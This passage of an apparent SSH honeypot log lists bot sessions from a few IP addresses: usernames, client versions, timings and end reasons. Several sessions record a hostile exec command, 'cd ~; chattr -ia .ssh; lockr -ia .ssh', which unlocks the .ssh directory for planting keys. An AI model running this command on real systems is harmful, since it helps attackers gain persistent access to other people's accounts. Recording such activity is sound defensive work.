  "name": "dutiful-creaky-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45270,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:23:47.590579+00:00",
  "ended_at": "2026-08-26T16:23:49.508885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67fe9fbc-ffcd-4f82-a22c-b9488fe36604",
  "name": "verdant-civil-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45256,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:23:44.520529+00:00",
  "ended_at": "2026-08-26T16:23:46.479881+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59f849ca-0769-4f62-ae81-c5fda7b7d22f",
  "name": "bronzed-tender-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 44514,
  "username": "radio",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:21:13.077028+00:00",
  "ended_at": "2026-08-26T16:21:14.094126+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2096
 },
 {
  "id": "7fc1f17a-5eb4-4d09-b8eb-2d2f9757f404",
  "name": "inland-silent-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59668,
  "username": "radio",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:20:54.296234+00:00",
  "ended_at": "2026-08-26T16:20:55.670189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3896b4e-be54-4eb5-9fc4-fae099863092",
  "name": "honest-burly-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44516,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:20:51.387092+00:00",
  "ended_at": "2026-08-26T16:20:53.220556+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd8328f6-a8fc-4fe2-bc07-df1da51a5910",
  "name": "blithe-weathered-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 40810,
  "username": "controlm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 499,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:18:18.633554+00:00",
  "ended_at": "2026-08-26T16:18:20.403154+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2094
 },
 {
  "id": "ce893d5b-15ce-4fa5-be71-8cd39d8b699a",
  "name": "amber-honest-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40826,
  "username": "controlm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:18:00.295960+00:00",
  "ended_at": "2026-08-26T16:18:01.078195+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aaacb1d5-7241-49a0-802e-21ca582445f0",
  "name": "creaky-autumn-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40814,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:17:58.154172+00:00",
  "ended_at": "2026-08-26T16:17:59.178477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f57ca815-b782-4e35-be98-071ce4ec1f9d",
  "name": "somber-mottled-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59328,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:14:52.536092+00:00",
  "ended_at": "2026-08-26T16:14:53.834919+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2126
 },
 {
  "id": "a8290ada-69dd-4c65-a144-c0a701966e3a",
  "name": "lawful-hardy-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59344,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:14:32.421168+00:00",
  "ended_at": "2026-08-26T16:14:34.461159+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f23e1ed-b917-4595-a5ac-cab9d9d5f3a6",
  "name": "clever-calm-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59338,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:14:30.258267+00:00",
  "ended_at": "2026-08-26T16:14:31.368485+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bafd474c-e03f-424c-be68-3e985b4e0fd4",
  "name": "sullen-misty-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 51918,
  "username": "servidor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 521,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:11:48.430238+00:00",
  "ended_at": "2026-08-26T16:11:49.728042+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2062
 },
 {
  "id": "486b5f0e-3d87-49b5-af34-63b9e7f88c2d",
  "name": "hazel-kindly-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47492,
  "username": "servidor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:11:34.355145+00:00",
  "ended_at": "2026-08-26T16:11:35.651025+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b39a1e5-9e60-4ca8-9899-57b86533bfae",
  "name": "sleepy-forlorn-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51920,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:11:31.204603+00:00",
  "ended_at": "2026-08-26T16:11:33.246272+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5467cdb-015c-4b4f-9341-16cdb32175c3",
  "name": "sleepy-emerald-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 56616,
  "username": "arthur",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:08:46.379888+00:00",
  "ended_at": "2026-08-26T16:08:47.311563+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2047
 },
 {
  "id": "9ac5462a-e545-4068-966c-7799688124c5",
  "name": "downy-candid-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47434,
  "username": "arthur",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:08:35.444920+00:00",
  "ended_at": "2026-08-26T16:08:36.607136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "930d638f-7427-46bc-862e-3211f719072b",
  "name": "seaward-smoky-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56618,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:08:33.051470+00:00",
  "ended_at": "2026-08-26T16:08:34.397582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ad9ac4b-316b-4ca6-9db6-dcbd2ba0263b",
  "name": "jagged-barren-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 49888,
  "username": "reza",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:06:07.069167+00:00",
  "ended_at": "2026-08-26T16:06:07.761835+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2034
 },
 {
  "id": "69247471-e4f4-46ee-976e-d60f59d0c2ac",
  "name": "frugal-languid-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 49136,
  "username": "reza",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:05:55.603772+00:00",
  "ended_at": "2026-08-26T16:05:57.219972+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e540b494-6b93-4dc5-bb6d-dc76e82ca321",
  "name": "sooty-quartz-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 49898,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:05:52.620713+00:00",
  "ended_at": "2026-08-26T16:05:54.555033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "781f0fa7-6ac3-47ca-8792-2ab888a6ad06",
  "name": "leafy-shifting-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "14.225.173.146",
  "src_port": 35112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1424,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:02:51.702893+00:00",
  "ended_at": "2026-08-26T16:02:52.866853+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "1114f7d9-73ba-48aa-aa42-8c3419f56fc3",
  "name": "zealous-indigo-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.225.173.146",
  "src_port": 53450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:02:28.027864+00:00",
  "ended_at": "2026-08-26T16:02:29.300364+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bf73b55-d54c-4bb3-880e-43c4925fa1b6",
  "name": "glassy-ivory-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.225.173.146",
  "src_port": 53436,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:02:24.663382+00:00",
  "ended_at": "2026-08-26T16:02:26.339942+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "541a13ec-c19a-423a-99f8-cada782cf517",
  "name": "somber-tranquil-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "182.253.79.195",
  "src_port": 3862,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 802,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:01:34.453333+00:00",
  "ended_at": "2026-08-26T16:01:35.228882+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2048
 },
 {
  "id": "6158691b-0433-4b55-a30e-8777a2186313",
  "name": "placid-seaward-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "182.253.79.195",
  "src_port": 35827,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:01:18.507050+00:00",
  "ended_at": "2026-08-26T16:01:20.383489+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e9695b16-e697-4d00-9ee5-c82ad2f17c68",
  "name": "dusty-shaded-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 34944,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:01:17.477229+00:00",
  "ended_at": "2026-08-26T16:01:18.345458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "484ce3c8-5fb2-479a-873a-56de617b6f59",
  "name": "ivory-feathered-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "182.253.79.195",
  "src_port": 58627,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:01:15.570109+00:00",
  "ended_at": "2026-08-26T16:01:16.861176+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ddfce4b8-589b-49ff-9229-d976ec8e250c",
  "name": "pewter-mottled-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40924,
  "username": "faisal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:51:50.327883+00:00",
  "ended_at": "2026-08-26T15:51:51.487514+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "455df0d7-69a8-4955-85fb-65d9caa75566",
  "name": "lunar-lofty-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40926,
  "username": "faisal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:51:28.096135+00:00",
  "ended_at": "2026-08-26T15:51:29.527815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2994caa3-5d5a-4832-abf1-dc28ff56e15f",
  "name": "dewy-drifting-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40925,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:51:25.172134+00:00",
  "ended_at": "2026-08-26T15:51:26.600458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b25c425-c234-4dc7-bda4-d6e2658d8df6",
  "name": "quartz-wiry-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40859,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:49:09.436344+00:00",
  "ended_at": "2026-08-26T15:49:10.787654+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d84ae859-9e6c-4689-a845-69d81f75a7fe",
  "name": "grumpy-frosty-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40923,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:48:46.892593+00:00",
  "ended_at": "2026-08-26T15:48:48.020627+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8fda1ecd-60ba-4ec2-bc44-52b849fa2ca9",
  "name": "airy-thorny-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40922,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:48:44.311304+00:00",
  "ended_at": "2026-08-26T15:48:45.404844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "238c40fd-2f41-4e7b-8be5-5c55bffbf280",
  "name": "lofty-golden-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 751,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:46:24.778927+00:00",
  "ended_at": "2026-08-26T15:46:26.192802+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "05f5e6bf-7d20-4fcd-84fa-26673abd98b5",
  "name": "brazen-quiet-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:46:01.967387+00:00",
  "ended_at": "2026-08-26T15:46:03.511528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b158d369-55a2-4eab-9cb3-cff5e86ca268",
  "name": "weathered-prairie-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40857,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:45:59.098993+00:00",
  "ended_at": "2026-08-26T15:46:00.465075+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de87a9b3-8ed7-48d0-8e07-7d2f0a277e76",
  "name": "lunar-reedy-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40853,
  "username": "testftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:43:40.861951+00:00",
  "ended_at": "2026-08-26T15:43:42.043794+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "696fdf3f-4def-4d5b-9ff9-da8048d6e8ee",
  "name": "kindly-woven-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40855,
  "username": "testftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:43:19.885115+00:00",
  "ended_at": "2026-08-26T15:43:21.285003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cdf1223-df3c-4442-8e58-41a3e150b659",
  "name": "tender-spirited-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40854,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:43:17.436907+00:00",
  "ended_at": "2026-08-26T15:43:18.375262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f7bd20e-1159-44f4-bb63-40cbc6eeec44",
  "name": "vaulted-umber-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40850,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:41:00.967613+00:00",
  "ended_at": "2026-08-26T15:41:02.413847+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "40ada214-6a7d-4279-9c95-7c82d35de7a5",
  "name": "supple-daring-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:40:39.399996+00:00",
  "ended_at": "2026-08-26T15:40:40.347924+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f4d61a4-15e5-4bc8-a114-da7d3d61502b",
  "name": "crisp-dusty-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40851,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:40:36.906245+00:00",
  "ended_at": "2026-08-26T15:40:37.891065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2535591c-2b0a-4f61-a8ab-8cd924229163",
  "name": "stoic-fearless-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40847,
  "username": "ajay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:38:13.799757+00:00",
  "ended_at": "2026-08-26T15:38:15.323567+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "39c06f6f-441e-47fa-88db-4f326e9e8950",
  "name": "velvet-languid-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40849,
  "username": "ajay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:37:51.638751+00:00",
  "ended_at": "2026-08-26T15:37:52.754414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a21870e-60d1-43ee-90e7-b028c164dc20",
  "name": "loyal-wandering-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40848,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:37:48.881468+00:00",
  "ended_at": "2026-08-26T15:37:50.124752+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f12fbab-1ccd-4fa1-a657-08523aff9bde",
  "name": "arctic-glassy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40844,
  "username": "odoo17",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:35:32.222507+00:00",
  "ended_at": "2026-08-26T15:35:33.337914+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "dd9ec137-f683-4d57-9378-9df2bd6dc189",
  "name": "hidden-prairie-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40846,
  "username": "odoo17",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:35:09.082262+00:00",
  "ended_at": "2026-08-26T15:35:11.024487+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea8b07e6-51a2-4844-8c69-ff829f35e986",
  "name": "electric-verdant-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40845,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:35:06.326325+00:00",
  "ended_at": "2026-08-26T15:35:07.568465+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "37f93808-47b9-42b1-b362-d3e336edccf6",
  "name": "emerald-western-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40841,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:32:47.683960+00:00",
  "ended_at": "2026-08-26T15:32:49.494280+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "426652a4-2d81-470f-ba96-93ed299d533f",
  "name": "windswept-candid-kestrel",
  "protocol": "ssh",
